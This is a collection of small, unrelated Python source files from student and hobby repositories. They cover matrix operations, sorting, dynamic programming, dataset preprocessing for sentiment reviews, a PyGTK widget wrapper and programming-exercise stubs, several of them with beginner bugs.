float, complex)): return self.__times_scalar(other) else: print 'Do not know how to multiply a ' + type(other) + ' to a matrix.' return self def __div__(self, other): if isinstance(other, Matrix): return self.__divided_by_matrix(other) elif isinstance(other, list): return self.__divided_by_matrix(Matrix(other)) elif isinstance(other, (int, long, float, complex)): return self.__times_scalar(1.0 / other) else: print 'Do not know how to divide a ' + type(other) + ' to a matrix.' return self def __neg__(self): return self * -1 def __eq__(self, other): if self.n_rows != other.n_rows or self.n_columns != other.n_columns: return False else: for row_index, row in enumerate(self): if other[row_index] != row: return False return True def __ne__(self, other): return not self.__eq__(other) def __getitem__(self, index): return self.rows.__getitem__(index) def __setitem__(self, index, value): self.rows.__setitem__(index) def __delitem__(self, index): self.rows.__delitem__(index) def __len__(self): return self.rows.__len__() def __str__(self): string = '' for row_index, row in enumerate(self): string += '[' for column_index, value in enumerate(row): string += str(value) if column_index != self.n_columns - 1: string += ' ' string += ']' if row_index != self.n_rows - 1: string += "\n" return string def dot(self, other): if other.n_rows == self.n_columns: result_matrix = Matrix(self.n_rows, other.n_columns) for row_index, row in enumerate(self): for other_column_index in range(other.n_columns): result_matrix[row_index][other_column_index] = 0 for column_index, value in enumerate(row): result_matrix[row_index][other_column_index] += value * other[column_index][other_column_index] return result_matrix else: print 'Can only take the dot product of a matrix with shape NXM and another with shape MXO' return self def rows(self): return rows def columns(self): # alternatively, return self.transpose.rows - might even be faster? return [[row[column_index] for row in self] for column_index in range(self.n_columns)] # returns a 2X1 matrix (vector of length 2) populated with the row & column size of this matrix def size(self): return Matrix([self.n_rows, self.n_columns]) def max(self): return max([max(row) for row in self]) def min(self): return min([min(row) for row in self]) def is_vector(self): return self.n_columns == 1 def append(self, new_row): return self.append_row(new_row) def append_row(self, new_row): if isinstance(new_row, (int, long, float, complex)): new_row = [new_row] # create a single-element list if input is number elif not isinstance(new_row, list): print 'Only know how to append lists or numbers to a matrix' return columns_to_pad = len(new_row) - self.n_columns if columns_to_pad > 0: # pad existing rows with zeros to match new dimensionality for row in self: for i in range(columns_to_pad): row.append(0) elif columns_to_pad < 0: # pad new row with zeros to match existing dimensionality for i in range(-columns_to_pad): new_row.append(0) self.rows.append(new_row) self.n_rows += 1 self.n_columns = len(new_row) return self def append_column(self, new_column): if isinstance(new_column, (int, long, float, complex)): new_column = [new_column] # create a single-element list if input is number elif not isinstance(new_column, list): print 'Only know how to append lists or numbers to a matrix' return rows_to_pad = len(new_column) - self.n_rows if rows_to_pad > 0: # pad with new 0-filled rows to match new dimensionality self.append([0] * self.n_columns) elif rows_to_pad < 0: # pad new row with zeros to match existing dimensionality for i in range(-rows_to_pad): new_column.append(0) for row_index, row in enumerate(self): row.append(new_column[row_index]) self.n_columns += 1 self.n_rows = len(self) return self def transpose(self): transposed_matrix = Matrix(self.n_columns, self.n_rows) for row_index, row_value in enumerate(self): for column_index, value in enumerate(row_value): transposed_matrix[column_index][row_index] = value return transposed_matrix # !In-Place! # normalization technique, rescale features so each feature will have mean=0 and standard_dev=1 def standardize(self): if self.n_rows <= 1: return self # nothing to do - only one row for column_index, column in enumerate(self.columns()): mean = sum(column) / self.n_rows std_dev = (sum([ (value - mean) ** 2 for value in column]) / float(self.n_rows)) ** 0.5 for row_index, value in enumerate(column): if std_dev != 0: self[row_index][column_index] = (value - mean) / std_dev else: self[row_index][column_index] = 0 return self # subtract the mean from each feature value, so each feature will have mean=0 def normalize_mean(self): for column_index, column in enumerate(self.columns()): mean = sum(column) / self.n_rows for row_index, value in enumerate(column): self[row_index][column_index] = value - mean return self def normalize_min_max(self): for column_index, column in enumerate(self.columns()): min_value = min(column) max_value = max(column) value_range = max_value - min_value for row_index, value in enumerate(column): if value_range != 0: self[row_index][column_index] = (value - min_value) / value_range else: self[row_index][column_index] = 0 return self @staticmethod def identity(size): identity_matrix = Matrix(size, size) for i in range(size): identity_matrix[i][i] = 1 return identity_matrix @staticmethod def zeros(n_rows, n_columns): return Matrix(n_rows, n_columns) @staticmethod def ones(n_rows, n_columns): matrix = Matrix(n_rows, n_columns) for row_index in range(n_rows): for column_index in range(n_columns): matrix[row_index][column_index] = 1 return matrix def __plus_scalar(self, scalar): for row in self: for index, value in enumerate(row): row[index] += scalar return self def __times_scalar(self, scalar): for row in self: for index, value in enumerate(row): row[index] *= scalar return self def __plus_matrix(self, other): if other.n_rows == self.n_rows and other.n_columns == self.n_columns: for row_index, row in enumerate(self): for column_index, value in enumerate(row): self[row_index][column_index] += other[row_index][column_index] else: print 'Cannot add a matrix by another with different dimensionality.' return self def __minus_matrix(self, other): if other.n_rows == self.n_rows and other.n_columns == self.n_columns: for row_index, row in enumerate(self): for column_index, value in enumerate(row): self[row_index][column_index] -= other[row_index][column_index] else: print 'Cannot subtract a matrix by another with different dimensionality.' return self def __times_matrix(self, other): if other.n_rows == self.n_rows and other.n_columns == self.n_columns: for row_index, row in enumerate(self): for column_index, value in enumerate(row): self[row_index][column_index] *= other[row_index][column_index] else: print 'Cannot multiply a matrix by another with different dimensionality.' return self def __divided_by_matrix(self, other): if other.n_rows == self.n_rows and other.n_columns == self.n_columns: for row_index, row in enumerate(self): for column_index, value in enumerate(row): self[row_index][column_index] /= other[row_index][column_index] else: print 'Cannot divide a matrix by another with different dimensionality.' return self
2655a0529c8ce4d2c8a0e536f38bfb68c97df453
ranji2612/Algorithms
/dp/01knapsack.py
339
3.796875
4
def knapsackProblem(weight, value, capacity): # As we Iterate through each item, we two choices, take it or leave it # So the choice should be the one which maximizes the value # Can be done in both Recursion(DP with Memoization) & Iterative DP #Iterative Solution maxWt = [ [0 for x in range(weight)] for x in range(weight)]
aaee1e60838c453cef553cd125152c699bd3b126
ranji2612/Algorithms
/sorts/insertionSort.py
258
3.953125
4
def insertionSort(A, printSteps = False): l = len(A) #Iterate from second element to Last for j in range(1,l): k = j val = A[k] while k>0 and A[k-1] > val: A[k] = A[k-1] k-=1 A[k] = val if printSteps: print 'Iter '+str(j),A return A
c37aba3b14d6af7204c909b623f1de8563dabf35
Abdelrahmanrezk/Sentiment-Behind-Reviews
/Sentiment_behind_reviews/file_handles/handle_combind_shuffle_reviews.py
7,966
4.125
4
#!/usr/bin/env python # coding: utf-8 # # Reviews Handling # based on the problems of Sentimen Classifcation some of reviews file have muliple columns like: # - 'reviews.dateAdded' # - 'reviews.dateSeen' # - others columns # # but we just interset in two columns the text review and the rate of each review. # # So here is a function that handle these problems and return the reviews with two columns. # # **Another Function to compine the returned data frames to one data frame:** # combine_positive_negative_reviews this function is to handle returned data frame as just one data frame with the two columns # # **Another Function to shuffle the reviews of the returned combined data frame** # # **Another Function to convert the data frame to csv file** # In[1]: import pandas as pd import os import datetime # ## Reviews_handling function # # A function below handle files that contain multiple of columns but we need the reviews and the rate of each reviews, but based on rate we return that all of reviews > 3 is positive other wise is negative which <= 3. # In[2]: def reviews_handling(data_frame, review_column , rating_column): ''' Argument: data frame of file return: data frame with two columns one of text review second is 1 positive or 0 negative ''' positive_reviews = df[df[rating_column] > 3] print("We have " + str(len(positive_reviews)) + " positive Reviews") negative_reviews = df[df[rating_column] <= 3] print("We have " + str(len(negative_reviews)) + " negative Reviews") # Now get the text reviews for each index and its rate positive_reviews = positive_reviews.loc[:, [review_column, rating_column]] negative_reviews = negative_reviews.loc[:, [review_column, rating_column]] positive_reviews[rating_column] = 1 negative_reviews[rating_column] = 0 # you will see in the print how looks like the rate of each review as we change print("Now We have just the needed columns from the data frame", positive_reviews[:5]) print("#"*80) print("Now We have just the needed columns from the data frame", negative_reviews[:5]) return positive_reviews, negative_reviews # In[3]: def combine_positive_negative_reviews(positive_reviews, negative_reviews): ''' Arguments: 2 data frames each with 2 columns return: one data frame contain the two column ''' combined_dfs = pd.concat([positive_reviews,negative_reviews], ignore_index=True) print("The compined data frame ", combined_dfs[:5]) print("The compined data frame ", combined_dfs[-5:-1]) # two show negatives also # next we have a function that shuffle these reviews because of future work return combined_dfs # In[4]: try: df = pd.read_csv('../csv_files/1429_1.csv') os.remove('../csv_files/1429_1.csv') except Exception as e: file = open("../logs_files/file_read_error.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # In[5]: # the line below return a data frame with 2 columns for each varaibles # text reviews and positive or negative as 1,0 # In[6]: try: positive_reviews, negative_reviews = reviews_handling(df, 'reviews.text', 'reviews.rating') first_combined = combine_positive_negative_reviews(positive_reviews, negative_reviews) except Exception as e: file = open("../logs_files/reviews_handling.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # In[7]: # read another file try: df = pd.read_csv('../csv_files/Datafiniti_Amazon_Consumer_Reviews_of_Amazon_Products.csv') os.remove('../csv_files/Datafiniti_Amazon_Consumer_Reviews_of_Amazon_Products.csv') len(df) except Exception as e: file = open("../logs_files/file_read_error.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # In[8]: try: positive_reviews, negative_reviews = reviews_handling(df, 'reviews.text', 'reviews.rating') second_combine = combine_positive_negative_reviews(positive_reviews, negative_reviews) aggregation_combined = combine_positive_negative_reviews(first_combined, second_combine) except Exception as e: file = open("../logs_files/reviews_handling.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # In[9]: # read another file try: df = pd.read_csv('../csv_files/Datafiniti_Amazon_Consumer_Reviews_of_Amazon_Products_May19.csv') os.remove('../csv_files/Datafiniti_Amazon_Consumer_Reviews_of_Amazon_Products_May19.csv') len(df) except Exception as e: file = open("../logs_files/file_read_error.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # In[10]: try: positive_reviews, negative_reviews = reviews_handling(df, 'reviews.text', 'reviews.rating') third_combine = combine_positive_negative_reviews(positive_reviews, negative_reviews) aggregation_combined = combine_positive_negative_reviews(aggregation_combined, third_combine) except Exception as e: file = open("../logs_files/reviews_handling.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # In[11]: # shuffle all reviews def shuffle_dataframe_of_reviews(df): ''' A function return one data fram but with shuffled rows ''' df = df.sample(frac=1).reset_index(drop=True) return df # In[12]: try: aggregation_combined_shuffled = shuffle_dataframe_of_reviews(aggregation_combined) print(aggregation_combined[:20]) # now you can see before shuffle print(aggregation_combined_shuffled[:20]) # and you can see after shuffle currentDT = str(datetime.datetime.now()) currentDT aggregation_combined_shuffled.to_csv('../csv_files/last_time_combined_reviews_' + currentDT +'.csv', index=False) df = pd.read_csv('../csv_files/last_time_combined_reviews_' + currentDT +'.csv') print(df.head()) except Exception as e: file = open("../logs_files/shuffle_dataframe_of_reviews.log","+a") file.write("\n" + str(e) + "\n" + "#" *99 + "\n") # "#" *99 as separated lines # ### function below to handle reviews # because of sometimes I classified handlabel reviews, so the file has more than 20 thounsand of reviews, so each time i classified some of these reviews need to append to other classified file for using later then remove these classified reviews from the file. # In[13]: def handle_classifed_reviews(file_reviews, file_classified_reviews, number_of_classifed_reviews): ''' Arguments: file reviews: this file has some of reviews classified but not all so, number_of_classifed_reviews: we send to cut from and append to, file_classified_reviews: which has all of classifed reviews return classified file, file_reviews after cuting the number_of_classifed_reviews from it ''' # get classifed reviews df_classifed_reviews = file_reviews[:number_of_classifed_reviews] df_classifed_reviews.dropna(inplace=True) # may some of rows are empty df_classifed_reviews = df_classifed_reviews.reset_index(drop=True) # resave file after cut classifed reviews file_reviews = file_reviews.drop(file_reviews.index[:number_of_classifed_reviews]) file_reviews = file_reviews.reset_index(drop=True) file_reviews.to_csv('../csv_files/all_file_reviews.csv',index = False, header=True) # append classified reviews to classifed file file_classified_reviews = file_classified_reviews.append(df_classifed_reviews) file_classified_reviews = file_classified_reviews.reset_index(drop=True) file_classified_reviews.to_csv('../csv_files/file_classified_reviews.csv', index = False, header=True) return file_reviews, file_classified_reviews # In[ ]:
5b4161986fe4af26d3a588ecd8a28347212aecbf
lexboom/Testfinal
/Studentexempt.py
2,121
4.375
4
#Prompt the user to enter the student's average. stu_avg = float(input("Please enter student's average: ")) #Validate the input by using a while loop till the value #entered by the user is out of range 0 and 100. while(stu_avg < 0 or stu_avg > 100): #Display an appropriate message and again, prompt #the user to enter a valid average value. print("Invalid average! Please enter a valid " + "average between 0 - 100:") stu_avg = float(input("Please enter student's " + "average: ")) #Prompt the user to enter the number of days missed. num_days_missed = int(input("Please enter the number " + "of days missed: ")) #Validate the input by using a while loop till the #value entered by the user is less than 0. while(num_days_missed < 0): #Display an appropriate message and again, prompt #the user to enter a valid days value. print("Invalid number of days! Please enter valid " + "number of days greater than 0:") num_days_missed = int(input("Please enter the " + "number of days missed: ")) #If the student's average is at least 96, then the #student is exempt. if(stu_avg >= 96): print("Student is exempt from the final exam. " + "Because, the student's average is at least 96.") #If the student's average is at least 93 and number of #missing days are less than 3, then the student is #exempt. elif(stu_avg >= 93 and num_days_missed < 3): print("Student is exempt from the final exam. " + "Because, the student's average is at least 93 " + "and number of days missed are less than 3.") #If the student's average is at least 90 and there is a #perfect attendence i.e., number of missing days is 0, #then the student is exempt. elif(stu_avg >= 90 and num_days_missed == 0): print("Student is exempt from the final exam. " + "Because, the student's average is at least 90 " + "and student has perfect attendence.") #Otherwise, student is not exempt. else: print("Student is not exempt from the final exam.")
3196064e2211728cc382913d1f6c6a0b019364c4
micajank/python_challenges
/exercieses/05factorial.py
365
4.40625
4
# Write a method to compute the `factorial` of a number. # Given a whole number n, a factorial is the product of all # whole numbers from 1 to n. # 5! = 5 * 4 * 3 * 2 * 1 # # Example method call # # factorial(5) # # > 120 # def factorial(num): result = 1 for i in range(result, (num + 1)): result = result * i return result print(factorial(5))
99002ac30ecbeeeebb743872620e223b9d058a8b
dmunozbarras/Practica-7-Python
/Ej7-1.py
380
4.03125
4
# -*- coding: cp1252 -*- """DAVID MUร‘OZ BARRAS - 1ยบ DAW - PRACTICA 7 - EJERCICIO 1 Escribe un programa que pida un texto por pantalla, este texto lo pase como parรกmetro a un procedimiento, y รฉste lo imprima primero todo en minรบsculas y luego todo en mayรบsculas. """ def cambio(x): print x.lower() print x.upper() texto=raw_input("Escriba un texto: ") cambio(texto)
7b1452a65bd7777187678c2bc483988e78cfa982
kanaud/Any-GuI-API-
/anygtk.py
10,889
3.734375
4
import gtk # importing the module gtk now_position=[10,10] # defining a global variable now_position def default_position(x,y): # writing a method to assign default positions to widgets now_position[0]=now_position[0]+x now_position[1]=now_position[1]+y return now_position class frame(object): # creating frame class to create a frame in which widgets will be embeded parent = None id=-1 title="default title" size=(600,750) def __init__(self, id, title="frame",width=750, height=500): # creating a constructor. The frame object will take 4 inoput values: id, title, width, height self.window = gtk.Window (gtk.WINDOW_TOPLEVEL) # creating a frame/window self.window.connect("destroy", gtk.main_quit) # connecting the destroy signal to quit method self.window.set_title(title) # setting frame title self.window.set_size_request(width,height) # setting the size of the frame self.fixed = gtk.Fixed() # creating a container to embed the widgets self.window.add(self.fixed) self.fixed.show() def show(self): # defining the show method which displays the window self.window.show() gtk.main() # initialising the gtk event handling loop by calling gtk.main() return def append(self,widget): # creating a method to append widgets to an instance of the frame. The append method takes widget as input and widget_type = type(widget) # executes the code corresponding to that widget in the following if conditions if(isinstance(widget,button)): # if widget type is button this if condition creates a button widget.ctr = gtk.Button(widget.label) widget.ctr.set_size_request(widget.size[0],widget.size[1]) self.fixed.put(widget.ctr, widget.pos[0], widget.pos[1]) widget.ctr.show() if(widget.callbackMethod != None ): widget.ctr.connect('clicked',widget.callbackMethod) elif(isinstance(widget,text_area) ): # if widget type is text_area this if condition creates a text_area widget.ctr = gtk.TextView(widget.buffer) widget.ctr.set_size_request(widget.size[0],widget.size[1]) self.fixed.put(widget.ctr, widget.pos[0], widget.pos[1]) widget.ctr.show() if(widget.callbackMethod != None ): widget.ctr.connect('clicked',widget.callbackMethod) elif(isinstance(widget,text_field)): # if widget type is text_field this elseif condition creates a text_field widget.ctr = gtk.Entry() widget.ctr.set_size_request(widget.size[0],widget.size[1]) widget.ctr.set_visibility(widget.visibility) self.fixed.put(widget.ctr, widget.pos[0], widget.pos[1]) widget.ctr.set_text(widget.label) widget.ctr.show() elif(isinstance(widget,check_box)): # if widget type is check_box this elseif condition creates a check_box widget.ctr = gtk.CheckButton(widget.label) widget.ctr.set_size_request(widget.size[0],widget.size[1]) self.fixed.put(widget.ctr, widget.pos[0], widget.pos[1]) widget.ctr.show() widget.ctr.set_active(widget.value) elif(isinstance(widget,radio_buttons)): # if widget type is radio_buttons this elseif condition creates a radiobuttons widget.ctr = [] radio_ctr = gtk.RadioButton(None, widget.labels[0]) radio_ctr.set_size_request(widget.size[0],widget.size[1]) self.fixed.put(radio_ctr,widget.position_X[0], widget.position_Y[0]) radio_ctr.show() widget.ctr.append(radio_ctr) for i in range(1,len(widget.labels)): radio_ctr = gtk.RadioButton(widget.ctr[0], widget.labels[i]) radio_ctr.set_size_request(widget.size[0],widget.size[1]) self.fixed.put(radio_ctr,widget.position_X[i], widget.position_Y[i]) radio_ctr.show() widget.ctr.append(radio_ctr) if(widget.selected_pos != None): widget.ctr[widget.selected_pos].set_active(True) elif(isinstance(widget,combo_box)): # if widget type is combo_box this elseif condition creates a combo_box widget.ctr = gtk.OptionMenu() widget.ctr.set_size_request(widget.size[0],widget.size[1]) menu = gtk.Menu() widget.labels.insert(0,widget.default) for name in widget.labels: item = gtk.MenuItem(name) item.show() menu.append(item) widget.ctr.set_menu(menu) widget.ctr.show() self.fixed.put(widget.ctr,widget.pos[0], widget.pos[1]) elif(widget_type == "Slider" or isinstance(widget,Slider) ): adj1 = gtk.Adjustment(0.0, widget.start, widget.end, 0.1, 1.0, 1.0) widget.instance = gtk.HScale(adj1) widget.instance.set_size_request(widget.width,widget.height) self.fixed.put(widget.instance, widget.position_X, widget.position_Y) widget.instance.show() elif(widget_type == "SpinBox" or isinstance(widget,SpinBox) ): adj = gtk.Adjustment(0.0, widget.start, widget.end, 0.1,0.1, 0.0) widget.instance = gtk.SpinButton(adj , 0.1 , 1) widget.instance.set_size_request(widget.width,widget.height) self.fixed.put(widget.instance, widget.position_X, widget.position_Y) widget.instance.show() elif(isinstance(widget,static_text)): # if widget type is static_text this elseif condition creates a static_text widget.ctr = gtk.Label(widget.label) widget.ctr.set_size_request(widget.size[0],widget.size[1]) self.fixed.put(widget.ctr, widget.pos[0], widget.pos[1]) widget.ctr.show() class static_text(object): # creating a class for static_field widget ctr = None id=-1 pos=(200,100) size=(150,50) label="default" def __init__(self): temp=1 class button(object): # creating a class for a button ctr = None callbackMethod = None id=-1 p=default_position(100,150) pos=(p[0],p[1]) size=(185,35) label="button" def __init__(self): temp=1 def onclick(self,method): if(self.ctr == None): self.callbackMethod = method else: self.ctr.connect("clicked", method) return True class text_area(object): # creating a class for text_area ctr = None callbackMethod = None text="this is the text area" p=(100,20) pos=(p[0],p[1]) size=(100,100) buffer = gtk.TextBuffer() def __init__(self): i=1 def set_text(self,text): self.buffer.set_text(text1) return True def append_text(self,text): self.buffer.insert(self.buffer.get_end_iter(),text) return True def clear(self): self.buffer.set_text("") return True class text_field(object): # creating a class for text_field ctr = None label="default title" pos=(230,200) size=(100,100) visibility= True def __init__(self): i=1 def set_text(self,text1): self.ctr.set_text(text1) return def get_text(self): self.string=self.ctr.get_text() return self.string class check_box(object): # creating a class for check_box ctr = None value = False parent=None label="checkbox" p=default_position(150,150) pos=(p[0],p[1]) size=(150,20) def __init__(self): varr=1 def set_value(self,value): # method to set the value in the text field if(value != True or value != False): return if(self.ctr == None): self.value = value else: self.ctr.set_active(value) def get_value(self): # method to get value from the text fiels if(self.ctr == None): return self.value else: return self.ctr.get_active() class radio_buttons(object): # creating a class for radio_buttons GroupController = None ctr = None selected_pos = None total=1 name=[] label=[] parent=None pos=[] size=(100,20) def __init__(self): self.labels = [] self.position_X = [] self.position_Y = [] self.GroupController = None def add_rb(self,label,X,Y): self.labels.append(label) self.position_X.append(X) self.position_Y.append(Y) return True def get_value(self): for i in range(len(self.ctr)): if(self.ctr[i].get_active()): return self.labels[i] return "None" def set_true(self,pos): if(self.ctr == None): self.selected_pos = pos else: button_ctr = self.ctr[pos] button_ctr.set_active(True) class Slider(object): instance = None Type = "Slider" def __init__(self,start,end,X,Y,width,height): self.start=start self.end=end self.position_X = X self.position_Y = Y self.width = width self.height = height def getValue(self): if(self.instance == None): return '' else: return self.instance.get() class SpinBox(object): instance = None Type = None def __init__(self,start,end,X,Y,width,height): self.type = "SpinBox" self.start=start self.end=end self.position_X = X self.position_Y = Y self.width = width self.height = height def getValue(self): if(self.instance == None): return '' else: return str(self.instance.get_value()) class combo_box(object): # creating a class for combo_box ctr = None default="default" labels=[] pos=(100,200) size=(100,20) def __init__(self): i=0 def get_value(self): if(self.ctr == None): return self.value else: IntValue = self.ctr.get_history() if(IntValue < 0): return None return self.labels[IntValue]
aad38dd193cdab0a22db9054c667eead9df005df
imsazzad/programming-contest
/uva/Dark_Roads.py
623
3.5625
4
import operator while True: node, edge = input().strip().split(' '); # python 2 raw input node, edge = [int(node), int(edge)]; if (node == 0 and edge == 0): break; sorted_edge = {}; for i in range(edge): x, y, z = input().strip().split(' '); x, y, z = [int(x), int(y), int(z)]; sorted_edge[str(x) + "#" + str(y)] = z; sorted_edge = sorted(sorted_edge.values()); sorted_edge = sorted(sorted_edge.items(), key=operator.itemgetter(1)) print(sorted_edge); # # 7 11 # 0 1 7 # 0 3 5 # 1 2 8 # 1 3 9 # 1 4 7 # 2 4 5 # 3 4 15 # 3 5 6 # 4 5 8 # 4 6 9 # 5 6 11 # 0 0
21cb794219fb722cba5e2c369d23522b60421b8f
abouchan01/EDA-2019-2
/Practice_11.py
5,123
3.953125
4
#En este documento se encuentran ordenados del primero al octavo de los codigos fuente de la practica 11. from string import ascii_letters, digits from itertools import product #concatenar letras y dรญfitos en una sola cadena caracteres= ascii_letters+digits def buscador (con): #archivo con todas las combinaciones generadas archivo= open("combinaciones.txt", "w") if 3<= len(con)<= 4: for i in range (3,5): for comb in product(caracteres, repeat=i): #se utiliza join() para concatenar los caracteres regresados por la funciรณn product() #como join necesita una cadena inicial para hacer la concatenaciรณn, se pone una cadena vacรญa al principio prueba= "".join(comb) #escribiendo al archivo cada combinacion generada archivo.write(prueba+"\n") if prueba ==con: print ('tu contraseรฑa es {}'. format(prueba)) #cerrando el archivo archivo.close() break else: print('ingresa una contraseรฑa que contenga de 3 a 4 caracteres' def cambio(cantidad,denominaciones): resultado = [] while (cantidad > 0): if (cantidad >= denominaciones[0]): num = cantidad // denominaciones[0] cantidad = cantidad - (num * denominaciones[0]) resultado.append([denominaciones[0], num]) denominaciones = denominaciones[1:] return resultado def fibonacci_bottom_up(numero): f_parciales=[0,1,1] while len(f_parciales) < numero: f_parciales.append(f_parciales[-1] + f_parciales[-2]) print(f_parciales) return f_parciales[numero-1] print(fibonacci_bottom_up(10)) #Top-down memoria = {1:0,2:1,3:1} #Memoria inicial import pickle #Carga la biblioteca archivo = open('memoria.p','wb') #Se abre el archivo para escribir en modo binario pickle.dump(memoria, archivo) #Se guarda la variable memoria que es un diccionario archivo.close() #Se cierra el archivo archivo = open('memoria.p','rb') #Se abre el archivo a leer en modo binario memoria_de_archivo=pickle.load(archivo) #Se lee la variable archivo.close() #Se cierra el archivo def fibonacci_iterativo_v2(numero): f1=0 f2=1 for i in range (1, numero-1): f1,f2=f2,f1+f2 #Asignacion paralela return f2 def fibonacci_top_down(numero): #Si el nรบmero ya se encuentra calculado, se registra el valor ya no se hacen mas calculo if numero in memoria: return memoria[numero] f = fibonacci_iterativo_v2(numero-1) + fibonacci_iterativo_v2(numero-2) memoria[numero] = f return memoria[numero] print(fibonacci_iterativo_v2(12)) print (memoria_de_archivo) def insertionSort(n_lista): for index in range (1,len(n_lista)): actual = n_lista[index] posicion = index print ("valor a ordenar = {}".format(actual)) while posicion>0 and n_lista[posicion-1]>actual: n_lista[posicion] =n_lista[posicion-1] posicion = posicion-1 n_lista[posicion] =actual print(n_lista) print() return n_lista #Datos de entrada lista = [21, 10, 0, 11, 9, 24, 20, 14, 1] print("lista desordenada {}".format (lista)) insertionSort(lista) print("lista ordenada {}".format(lista)) #%pylab inline import matplotlib.pyplot as pyplot from mp1_tollkits.mplot3d import Axes3D import random from time import time from Practice_11_6 import insertionSort_time from Practice_11_6 import quicksort_time datos=[ii*100 for ii in range(1,21)] tiempo_is=[] tiempo_qs=[] for ii in datos: lita_is=ramdon.sample(range(0,10000000), ii) lista_qs=lista_is.copy() t0=time() insertionSort_time(lista_is) tiempo_is.append(round(time()-t0,6)) t0=time() quicksort_time(lista_qs) tiempo_qs.append(round(time()-t0,6)) print("Tiempos parciales de ejecucion en INSERT SORT { } [s]\n". format(tiempo_is)) print("Tiempos parciales de ejecucion en QUICK SORT { } [s]". format(tiempo_is)) print("Tiempos total de ejecucion en INSERT SORT { } [s]". format(sum(tiempo_is))) print("Tiempos total de ejecucion en QUICK SORT { } [s]". format(sum(tiempo_is))) fig, ax=subplots() ax.plot(datos, tiempo_is, label="insert sort", maker="*", color="r") ax.plot(datos, tiempo_qs, label="quick sort", maker="o", color="b") ax.set_xlabel('Datos') ax.set_ylabel('Tiempo') ax.grid(True) ax.lengend(loc=2); plt.title('Tiempo de ejecucion [s] (insert vs. quick)') plt.show() import random import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D times = 0 def insertionSort_graph(n_lista): global times for index in range(1, len(n_lista)): times += 1 actual = n_lista[index] posicion = index while posicion>0 and n_lista[posicion-1]>actual: times += 1 n_lista[posicion]=n_lista[posicion-1] posicion = posicion-1 n_lista[posicion]=actual return n_lista TAM = 101 eje_x = list(range(1,TAM,1)) eje_y = [] lista_variable = [] for num in eje_x: lista_variable = random.sample(range(0, 1000), num) times = 0 lista_variable = insertionSort_graph(lista_variable) eje_y.append(times) fig, ax =plt.subplots(facecolor='w', edgecolor= 'k') ax.plot(eje_x, eje_y, marker="o", color="b", linestyle='None') ax.set_xlabel('x') ax.set_ylabel('y') ax.grid(True) ax.legend(["Insertion sort"]) plt.title('Insertion sort') plt.show()
e8e951c5c2e452264db382daffe4d31032e0811d
abouchan01/EDA-2019-2
/Practice_11_4.py
978
3.875
4
#Top-down memoria = {1:0,2:1,3:1} #Memoria inicial import pickle #Carga la biblioteca archivo = open('memoria.p','wb') #Se abre el archivo para escribir en modo binario pickle.dump(memoria, archivo) #Se guarda la variable memoria que es un diccionario archivo.close() #Se cierra el archivo archivo = open('memoria.p','rb') #Se abre el archivo a leer en modo binario memoria_de_archivo=pickle.load(archivo) #Se lee la variable archivo.close() #Se cierra el archivo def fibonacci_iterativo_v2(numero): f1=0 f2=1 for i in range (1, numero-1): f1,f2=f2,f1+f2 #Asignacion paralela return f2 def fibonacci_top_down(numero): #Si el nรบmero ya se encuentra calculado, se registra el valor ya no se hacen mas calculo if numero in memoria: return memoria[numero] f = fibonacci_iterativo_v2(numero-1) + fibonacci_iterativo_v2(numero-2) memoria[numero] = f return memoria[numero] print(fibonacci_iterativo_v2(12)) print (memoria_de_archivo)
e7fdfdedde1c8c315f6a7743dcd65d0d60569845
bernardbrandao/Python2019_1
/aula3_5.py
863
3.9375
4
import math def IMC(massa,altura): imc = float(massa) / ((float(altura))**2) print('o indice de massa corporal e ', "%.2f" % imc) altura = input("Digite a altura da pessoa: ") massa = input("Digite a massa da pessoa: ") IMC(massa,altura) def calc_vol(r):## em metros cubicos Volume = (4/3)*(math.pi)* float(r)**3 print('O volume e ',"%.2f" % Volume, "metros cubicos") r = input('Insira o Raio da Esfera em metros: ') calc_vol(r) def d_max(D,lambda1,d) lambda_convert = lambda1 *(10**(-9)) d_convert = d *(10**(-3)) delta_y = (lambda_convert * D)/ d_convert print("A distancia entre dois maximosde interferencia consecutivos e ", delta_y, "metros") D = input("Digite a distancia do anteparo a fenda em metros") d = input("Digite o espaรงamento entre as fendas em mm") lambda1 = input("Digite o comprimento de onda em metros")
81fae3ee5bef718c6e7c8a6d7e8379341e8a374a
bernardbrandao/Python2019_1
/Aula6_1_A.py
242
3.5625
4
import turtle t= turtle.Turtle() def square(t): jn = turtle.Screen() # Configurar a janela e seus atributos jn.bgcolor("lightyellow") jn.title("Quadrado") for i in range (4): t.forward(50) t.left(90) square(t)
a86756685311b1144178feeb59cf3b6df704bc2d
bernardbrandao/Python2019_1
/aula9_01B.py
471
3.828125
4
class clone: def nova_lista(uma_lista): """ Essa funcao faz uma copia da lista dada e modifica a copia dobrando os valores dos seus elementos. """ clone_lista = uma_lista[:] for (i, valor) in enumerate(clone_lista): novo_elem = 2 * valor clone_lista[i] = novo_elem return clone_lista if __name__ == '__main__': minha_lista = [2, 4, 6] print(minha_lista) print(nova_lista(minha_lista))
45d01c8faa0aaaca7e666166ebea2c612fe80239
drunkwater/leetcode
/medium/python3/c0300_647_palindromic-substrings/00_leetcode_0300.py
809
3.828125
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #647. Palindromic Substrings #Given a string, your task is to count how many palindromic substrings in this string. #The substrings with different start indexes or end indexes are counted as different substrings even they consist of same characters. #Example 1: #Input: "abc" #Output: 3 #Explanation: Three palindromic strings: "a", "b", "c". #Example 2: #Input: "aaa" #Output: 6 #Explanation: Six palindromic strings: "a", "a", "a", "aa", "aa", "aaa". #Note: #The input string length won't exceed 1000. #class Solution: # def countSubstrings(self, s): # """ # :type s: str # :rtype: int # """ # Time Is Money
a0df7dbbc3139b4a37db898b5d7e850d4f7f8906
drunkwater/leetcode
/hard/python3/c0101_552_student-attendance-record-ii/00_leetcode_0101.py
1,084
3.625
4
